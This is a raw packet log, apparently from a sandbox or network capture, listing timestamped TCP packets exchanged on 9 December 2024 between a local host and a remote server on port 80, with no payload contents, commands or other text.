Dec 9, 2024 15:30:14.188926935 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.188950062 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.188971996 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.190244913 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.190260887 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.190294027 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.190310001 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.191814899 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.191832066 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.191859961 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.191879988 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.193845987 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.193862915 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.193875074 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.193902016 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.193941116 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.193949938 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.194504023 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.194518089 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.194550991 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.194566011 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.196115971 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.196131945 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.196161985 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.196177959 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.197700024 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.197721958 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.197750092 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.197757006 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.199148893 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.199173927 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.199188948 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.199194908 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.199214935 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.199233055 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.200519085 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.200539112 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.200572968 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.200572968 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.202019930 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.202037096 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.202065945 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.202086926 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.203531027 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.203560114 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.203577995 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.203600883 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.205075979 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.205096006 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.205143929 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.206638098 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.206659079 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.206672907 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.206688881 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.206717014 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.208183050 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.208204031 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.208250046 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.209530115 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.209551096 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.209594011 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.209625006 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.211081982 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.211110115 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.211172104 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.212742090 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.212766886 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.212784052 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.212826014 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.212846994 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.214299917 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.214323997 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.214384079 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.215590954 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.215607882 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.215661049 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.215688944 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.217057943 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.217072964 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.217142105 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.218605042 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.218621969 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.218657970 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.218674898 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.220290899 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.220310926 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.220361948 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.223191023 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.223211050 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.223258972 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.223294020 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.224524021 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.224544048 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.224600077 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.226093054 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.226114988 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.226150036 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.226181030 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.227577925 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.227602959 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.227652073 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.228945971 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.229506969 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.347542048 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.347630978 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.347937107 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.347992897 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.348493099 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.348510027 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.348543882 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.348563910 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.349867105 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.350789070 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.350860119 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.351425886 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.351439953 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.351485968 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.351511002 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.352922916 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.352936983 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.352999926 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.353924990 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.353938103 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.353986025 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.355281115 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.355298042 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.355348110 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.356663942 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.356683016 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.356719971 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.356748104 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.358046055 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.358059883 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.358127117 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.359603882 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.359616995 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.359658003 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.359683990 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.360860109 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.360877991 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.360913992 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.360935926 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.362232924 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.362247944 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.362282038 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.363540888 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.363558054 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.363601923 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.364833117 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.364846945 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.364900112 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.366760969 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.366775036 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.366827965 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.367964029 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.367980957 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.368027925 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.369271994 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.369285107 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.369326115 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.370759010 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.370775938 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.370840073 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.372224092 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.372240067 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.372251987 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.372282982 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.372301102 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.373660088 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.373724937 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.373749018 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.373961926 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.375245094 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.375260115 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.375308037 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.375327110 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.376691103 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.376735926 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.376745939 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.377942085 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.378190994 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.378206968 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.378241062 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.378256083 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.379719973 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.379740000 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.379750967 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.379784107 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.379815102 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.381247997 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.381263018 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.381304026 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.382883072 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.382896900 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.382946014 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.384351015 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.384366989 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.384414911 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.385673046 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.385690928 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.385736942 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.385745049 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.387173891 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.387192011 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.387202978 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.387226105 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.387240887 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.390654087 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.390801907 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.390867949 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.390961885 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.390975952 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.391015053 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.391036987 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.392539024 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.392554045 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.392590046 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.392610073 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.394088984 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.394107103 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.394139051 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.394150972 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.395512104 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.395525932 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.395536900 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.395580053 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.396989107 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.397006989 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.397048950 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.398581982 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.398595095 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.398633957 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.400003910 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.400017023 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.400058985 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.400860071 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.400873899 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.400886059 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.400912046 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.400930882 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.402163029 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.402177095 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.402223110 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.403764963 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.403779030 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.403825045 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.405189037 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.405205011 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.405251026 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.406677008 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.406692028 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.406728029 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.406744003 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.408205032 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.408221006 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.408232927 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.408267021 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.408267021 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.408283949 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.409765959 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.409781933 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.409820080 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.411199093 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.411212921 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.411257029 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.412719011 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.412775993 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.414201021 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.414217949 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.414235115 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.414266109 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.414266109 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.414288044 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.415725946 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.415740013 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.415796041 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.417207956 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.417227030 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.417263031 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.417294025 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.418697119 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.418714046 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.418725014 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.418751001 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.418770075 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.539653063 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.540004015 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.540045023 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.540102959 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.540822029 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.540839911 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.540895939 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.542028904 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.542079926 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.542654037 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.542704105 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.543623924 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.543643951 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.543679953 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.543693066 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.544977903 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.544992924 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.545036077 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.546273947 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.546287060 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.546353102 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.549309969 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.549380064 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.550915956 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.550930023 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.550983906 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.552386999 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.552401066 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.552443981 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.552484035 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.553776979 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.553793907 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.553845882 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.555321932 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.555341959 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.555355072 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.555413961 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.556864977 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.556885004 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.556895971 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.556920052 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.556941986 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.558315992 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.558336020 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.558392048 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.558402061 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.559813976 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.559834003 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.559874058 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.559887886 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.561316967 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.561342001 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.561379910 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.561392069 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.564322948 CET	80	49866	31.41.244.11	192.168.2.5
